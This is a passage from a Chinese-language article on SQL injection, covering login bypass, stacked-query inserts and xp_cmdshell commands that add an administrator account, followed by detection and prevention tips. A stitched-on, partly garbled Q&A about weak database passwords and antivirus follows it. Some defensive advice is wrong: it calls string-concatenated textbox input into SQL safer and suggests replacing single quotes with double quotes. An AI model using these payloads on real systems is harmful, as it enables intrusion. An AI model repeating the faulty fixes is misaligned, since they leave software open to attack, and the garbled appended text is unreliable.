從上面的代碼中可以看出,程序在與資料庫建立連接得到用戶數據之後,直接將username的值通過session傳給login.aspx,沒有進行任何的過濾和處理措施, 直接用來構造SQL 語句, 其危險系數是非常高的, 攻擊者只要根據SQL 語句的編寫規則就可以繞過身份驗證,從而達到入侵的目的。

1. 2 SQL注入漏洞攻擊分析

SQL注入可以說是一種漏洞,也可以說是一種攻擊。當程序中的變數處理不當,沒有對用戶提交的數據類型進行校驗,編寫不安全的代碼,構造非法的SQL語句或字元串,都可能產生這個漏洞。

例如Web系統有一個login頁面,這個login頁面控制著用戶是否有權訪問,要求用戶輸入一個用戶名和口令,連接資料庫的語句為:

“select * from users where username = 'username' andpassword = 'password'”

攻擊者輸入用戶名為aa or 1=1口令為1234 or 1=1之類的內容。我們可以看出實際上攻擊者並不知道真正的用戶名、口令,該內容提交給伺服器之後,伺服器執行攻擊者構造出的SQL命令,但由於攻擊者輸入的內容非常特殊,所以最後得到的SQL命令變成:

“select * from users where username = 'aa' or 1=1 andpassword = '1234' or 1=1”

伺服器執行查詢或存儲過程,將用戶輸入的身份信息和資料庫users表中真實的身份信息進行核對,由於SQL命令實際上已被修改,存在永遠成立的1=1條件,因此已經不能真正驗證用戶身份,所以系統會錯誤地授權攻擊者訪問。

SQL 注入是通過目標伺服器的80埠進行的,是正常的Web訪問,防火牆不會對這種攻擊發出警告或攔截。當Web伺服器以普通用戶的身份訪問資料庫時,利用SQL注入漏洞就可能進行創建、刪除、修改資料庫中所有數據的非法操作。而當資料庫以管理用戶許可權的身份進行登錄時,就可能控制整個資料庫伺服器。

SQL注入的方法很多,在以手動方式進行攻擊時需要構造各種各樣的SQL語句,所以一般攻擊者需要豐富的經驗和耐心,才能繞過檢測和處理,提交語句,從而獲得想要的有用信息。這個過程需要花費很多的時間,如果以這種手動方式進行SQL注入漏洞攻擊,許多存在SQL注入漏洞的ASP、JSP、PHP、JAVA等網站就會安全很多了,不是漏洞不存在了,而是手動入侵者需要編程基礎,但現在攻擊者可以利用一些現成的黑客工具來輔助SQL注入漏洞攻擊,加快入侵的速度,使SQL注入變得輕而易舉。

由於SQL注入漏洞攻擊利用的是通用的SQL語法,使得這種攻擊具有廣泛性。理論上說,對於所有基於SQL語言的資料庫管理系統都是有效的,包括MSSQLServer、Oracle、DB2、Sybase和MySQL等。當然,各種系統自身的SQL擴展功能會有所不同,因此最終的攻擊代碼可能不盡相同。

1. 3 SQL注入漏洞攻擊過程

(1)繞過身份驗證

如一個login界面,需要輸入用戶名和口令,然後Post到另一個頁面,進行身份驗證,因此攻擊者只需在用戶名和口令的輸入框中都輸入aa or’1’=’1’的內容,那麼攻擊者就可以通過欺騙的驗證方式而直接進入下一個頁面,並擁有和正常登錄用戶一樣的全部特權。原因是什麼呢? 我們比較一下正常用戶登錄和攻擊者登錄時的兩種SQL語句:

1)正常用戶(如用戶名為admin,口令為1234567) :

SQL= " selectfrom users where username = ’admin’and password= ’1234567’ ";

2)攻擊者(用戶名和口令都為aa or’1’=’1’) :

SQL= " select * from users where username='aa or’1’=’1’'and password = ' aa or’1’=’1’'";

可以看到由and連接的兩個條件都被一個永遠成立的1=1所代替,執行的結果為true,資料庫會認為條件恆成立,會返回一個true,讓攻擊者以合法身份登錄進入下一個頁面。

(2)執行非法操作

如一個查詢頁面select1.asp? id=1,編程人員原本設計意圖是顯示id為1的查詢信息,而攻擊者利用程序中沒有對id內容進行檢查的機制,插入自己的代碼。

從select1.asp中摘錄一段關鍵代碼:

SQL= " select *from photo where photoid= 'id'";

可以看到,id沒有進行任何的處理,直接構成SQL語句並執行,而攻擊者在知道該系統資料庫中表名及欄位名的情況下,利用SQL語句特性(分號是將兩句SQL 語句分開的符號),直接向資料庫Tuser表中添加記錄:

select1.asp? id= 1;Insertinto Tuser (username,password,type) values ('hack','1234567','管理員'),然後攻擊者就可以直接用hack進行登錄了。通過這樣的方法,攻擊者還可以對系統做任何的事情,包括添加、刪除、修改系統資源的操作。

(3)執行系統命令

如果Web主機使用MSSQL資料庫管理系統,那麼攻擊者就可以用到xp_cmdshell這個擴展存儲過程,xp_cmdshell是一個非常有用的擴展存儲過程,用於執行系統命令,比如dir、net等,攻擊者可以根據程序的不同,提交不同的語句:

execmaster.dbo.xp_cmdshell " dir "; exec master.dbo.xp_cmdshell" net user hack 1234567 /add ";

execmaster.dbo.xp_cmdshell " net localgroup administrators hack /add ";

這樣就可以向Web主機系統中成功添加了一個管理員帳戶。

2. SQL注入漏洞攻擊的檢測方式及方法

2. 1檢測方式

SQL注入漏洞攻擊檢測分為入侵前的檢測和入侵後的檢測。入侵前的檢測,可以通過手工方式,也可以使用SQL注入漏洞掃描工具軟體。檢測的目的是為預防SQL注入漏洞攻擊,而對於SQL注入漏洞攻擊後的檢測,主要是針對審計日誌的查看,SQL注入漏洞攻擊成功後,會在Web Service和資料庫的審計日誌中留下“痕跡”。

2. 2檢測方法

(1)動態SQL檢查

動態的SQL語句是一個進行資料庫查詢的強大的工具,但把它和用戶輸入混合在一起就使SQL注入成為了可能。將動態的SQL語句替換成預編譯的SQL或者存儲過程對大多數應用程序是可行的。預編譯的SQL或者存儲過程可以將用戶的輸入作為參數而不是命令來執行,這樣就限制了入侵者的行動。當然,它不適用於存儲過程中利用用戶輸入來生成SQL命令的情況。在這種情況下,用戶輸入的SQL命令仍可能得到執行,資料庫仍然存在SQL注入漏洞攻擊的危險。

(2)有效性校驗

如果一個輸入框只可能包括數字,那麼要通過驗證確保用戶輸入的都是數字。如果可以接受字母,檢查是不是存在不可接受的字元,那就需要設置字元串檢查功能。確保應用程序要檢查以下字元:分號、等號、破折號、括弧以及SQL關鍵字。

(3)數據表檢查

使用SQL注入漏洞攻擊工具軟體進行SQL注入漏洞攻擊後,都會在資料庫中生成一些臨時表。通過查看資料庫中最近新建的表的結構和內容,可以判斷是否曾經發生過SQL注入漏洞攻擊。

(4)審計日誌檢查

在Web伺服器中如果啟用了審計日誌功能,則Web Service審計日誌會記錄訪問者的IP地址、訪問時間、訪問文件等信息,SQL注入漏洞攻擊往往會大量訪問某一個頁面文件(存在SQL注入點的動態網頁),審計日誌文件會急劇增加,通過查看審計日誌文件的大小以及審計日誌文件中的內容,可以判斷是否發生過SQL注入漏洞攻擊事件;另外還可以通過查看資料庫審計日誌,查詢某個時間段是否有非法的插入、修改、刪除操作。

(5)其他

SQL注入漏洞攻擊成功後,入侵者往往會添加特權用戶(如:administrator、root、sa等)、開放非法的遠程服務以及安裝木馬後門程序等,可以通過查看用戶帳戶列表、遠程服務開啟情況、系統最近日期產生的一些文件等信息來判斷是否發生過入侵。

3. SQL注入漏洞防範措施

SQL注入漏洞攻擊的防範方法有很多種,現階段總結起來有以下方法:

(1)數據有效性校驗。如果一個輸入框只可能包括數字,那麼要通過校驗確保用戶輸入的都是數字。如果可以接受字母,那就要檢查是不是存在不可接受的字元,最好的方法是增加字元復雜度自動驗證功能。確保應用程序要檢查以下字元:分號、等號、破折號、括弧以及SQL關鍵字。另外限製表單數據輸入和查詢字元串輸入的長度也是一個好方法。如果用戶的登錄名最多隻有10個字元,那麼不要認可表單中輸入10個以上的字元,這將大大增加攻擊者在SQL命令中插入有害代碼的難度。

(2)封裝數據信息。對客戶端提交的數據進行封裝,不要將數據直接存入cookie中,方法就是在編程的代碼中,插入session、if、try、else,這樣可以有效地防止攻擊者獲取cookie中的重要信息。

(3)去除代碼中的敏感信息。將在代碼中存在的用戶名、口令信息等敏感欄位刪除,替換成輸入框。

SQL=" select from users where username = ’admin’and password= ’1234567’ "

如:這樣顯然會暴露管理員的用戶名、口令信息。可以將其修改成:

SQL= " select * from users where username='" +Txtuser.Text + "' and userpwd='" + Textpwd.Text + "'"

這樣就安全了很多,入侵者也是不會輕易的就獲取到用戶名、口令信息。

(4)替換或刪除單引號。使用雙引號替換掉所有用戶輸入的單引號,這個簡單的預防措施將在很大程度上預防SQL注入漏洞攻擊,單引號時常會無法約束插入數據的Value,可能給予輸入者不必要的許可權。用雙引號替換掉單引號可以使大部分SQL注入漏洞攻擊失敗。 如:

“select* from users where username='" + admin + "' and userpwd='" + 1234567+ "'”

顯然會得到與

“select * from users where username='admin' and password= '1234567'”

相同的結果。

(5)指定錯誤返回頁面。攻擊者有時從客戶端嘗試提交有害代碼和攻擊字元串,根據Web Service給出的錯誤提示信息來收集程序及伺服器的信息,從而獲取想得到的資料。應在Web Service中指定一個不包含任何信息的錯誤提示頁面。

(6)限制SQL字元串連接的配置文件。使用SQL變數,因為變數不是可以執行的腳本,即在Web頁面中將連接資料庫的SQL字元串替換成指定的Value,然後將Web.config文件進行加密,拒絕訪問。

(7)設置Web目錄的訪問許可權。將虛擬站點的文件目錄禁止遊客用戶(如:Guest用戶等)訪問,將User用戶許可權修改成只讀許可權,切勿將管理許可權的用戶添加到訪問列表。

(8)最小服務原則。Web伺服器應以最小許可權進行配置,只提供Web服務,這樣可以有效地阻止系統的危險命令,如ftp、cmd、vbscript等。

(9)鑒別信息加密存儲。將保存在資料庫users表中的用戶名、口令信息以密文形式保存,也可以對users表進行加密處理,這樣可以大大增加對鑒別信息訪問的安全級別。

(10)用戶許可權分離。應盡可能的禁止或刪除資料庫中sa許可權用戶的訪問,對不同的資料庫劃分不同的用戶許可權,這樣不同的用戶只能對授權給自己的資料庫執行查詢、插入、更新、刪除操作,就可以防止不同用戶對非授權的資料庫進行訪問。

4. 結束語

SQL注入漏洞攻擊在網上非常普遍,許多ASP、PHP論壇和文章管理系統、下載系統以及新聞系統都存在這個漏洞。造成SQL注入漏洞攻擊的主要原因是開發人員在系統開發的過程中編程不規范,沒有形成良好的編程習慣,問題的解決只有依賴於規范編程。此外,也可以使用現有的SQL注入漏洞掃描器對整個網站中的關鍵代碼進行掃描,查找網站頁面中存在的SQL注入點。對於有問題的頁面,可以及時刪除或更新。本文通過對SQL注入漏洞攻擊的方法、原理以及攻擊實施過程進行了闡述和總結,並給出了一些常見的SQL注入漏洞攻擊防範的方法。

❿ 本機SQL server或my sql資料庫的 弱密碼被利用是怎麼回事後來360檢測是木馬,怎麼辦

別著急,我們一起來解決。
1、弱密碼指的是你設定的密碼比較簡單,又或者是出廠時初始密碼。比如123456等
2、某些程序調用了SQL的弱密拆孝梁碼,被360監控抓到,判定為木馬。
3、此種情況不一定全旅運都是木馬,360最近的誤刪率實在讓人難以恭維。
4、建議使用其他殺毒軟體判別一下是否有誤刪,慎沒建議可以使用查殺效果好,誤刪率低的騰訊電腦管家最新版8.1
5、以後多注意上網安全。

希望可以幫助到你,望採納。